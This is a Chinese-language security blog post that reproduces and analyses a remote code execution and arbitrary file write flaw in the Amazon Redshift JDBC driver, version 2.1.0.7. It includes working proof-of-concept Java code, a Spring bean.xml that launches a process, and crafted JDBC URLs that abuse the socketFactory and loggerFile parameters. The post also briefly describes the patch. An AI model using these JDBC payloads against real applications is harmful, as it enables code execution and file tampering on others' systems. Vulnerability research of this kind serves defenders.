原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

admin 2023年12月4日10:01:35评论53 views字数 2948阅读9分49秒阅读模式

漏洞简介

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

amazon-redshift-jdbc-driver 2.1.0.7及更低版本中存在潜在的远程命令执行问题。当插件与驱动程序一起使用时,它会根据通过sslhostnameverifier、socketFactory、sslfactory和sslpasswordcallback连接属性提供的Java类名来实例化插件实例。在受影响的版本中,驱动程序不会在实例化之前验证插件类是否实现了预期的接口。这可能导致加载任意Java类,有知识的攻击者可以使用这些类控制JDBCURL来实现远程代码执行。

漏洞复现

创建 maven 项目,添加依赖
<!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 --><dependency>    <groupId>com.amazon.redshift</groupId>    <artifactId>redshift-jdbc42</artifactId>    <version>2.1.0.7</version></dependency>    <!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->    <dependency>        <groupId>org.springframework</groupId>        <artifactId>spring-context-support</artifactId>        <version>5.3.23</version>    </dependency>

bean.xml

<beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xmlns:p="http://www.springframework.org/schema/p"       xsi:schemaLocation="http://www.springframework.org/schema/beans        http://www.springframework.org/schema/beans/spring-beans.xsd"><!--    普通方式创建类-->   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value>calc.exe</value>          </list>        </constructor-arg>    </bean></beans>

编写测试代码
import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;
public class CVE202241828 { public static void main(String[] args) throws SQLException { String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; String socketFactoryArg = "http://127.0.0.1:8080/bean.xml"; String jdbcUrl = "jdbc:redshift://127.0.0.1:5432/test?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg; Connection connection = DriverManager.getConnection(jdbcUrl); }}

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

漏洞分析

任意代码执行 socketFactory/socketFactoryArg

这个漏洞跟 PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724) 很类似,就不做具体分析,仅画出漏洞调用图

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

漏洞修复
要求获取的类名必须是指定类的子类,否则就抛出异常

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

任意文件写入 loggerLevel/loggerFile

按照一个漏洞发现的思路来说,PostgresQL-JDBC 存在代码执行和任意文件写入漏洞,那么对于 Redshift-jdbc 也应该存在着类似的任意文件写入漏洞
import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;
public class CVE202241828 { public static void main(String[] args) throws SQLException { String loggerLevel = "debug"; String shellContent="test"; String loggerFile= "test\test.txt"; String jdbcUrl = "jdbc:redshift://127.0.0.1:5432/test?loggerFile="+loggerFile+"&loggerLevel="+loggerLevel+"&"+shellContent; Connection connection = DriverManager.getConnection(jdbcUrl); }}

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

com.amazon.redshift.Driver#connect

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

通过getLogger设定日志的相关参数,之后将url保存为String temp然后保存日志文件
com.amazon.redshift.Driver#getLogger

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

前面通过提取jdbcurl中对应的参数,然后调用RedshiftLogger设置日志的相关参数
com.amazon.redshift.logger.RedshiftLogger#RedshiftLogger

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

此处的logLevel必须为String ERROR、INFO、FUNCTION、DEBUG、TRACE中任意一个
或者为int 1、2、3、6 中的一个
com.amazon.redshift.logger.LogFileHandler#LogFileHandler

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

在这个地方会根据  来分割文件名和目录,所以我们为loggerFile赋值时需要注意,同时也因为没有做校验,所以可以实现任意文件写入
然后在com.amazon.redshift.Driver#connect触发了保存操作

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞


往期推荐



原创 | 深度剖析GadgetInspector执行逻辑(上)

原创 | 深度剖析GadgetInspector执行逻辑(下)

原创 | 内网安全之隧道代理


原文始发于微信公众号(白帽子):原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月4日10:01:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞https://cn-sec.com/archives/2265661.html

发表评论

匿名网友 填写信息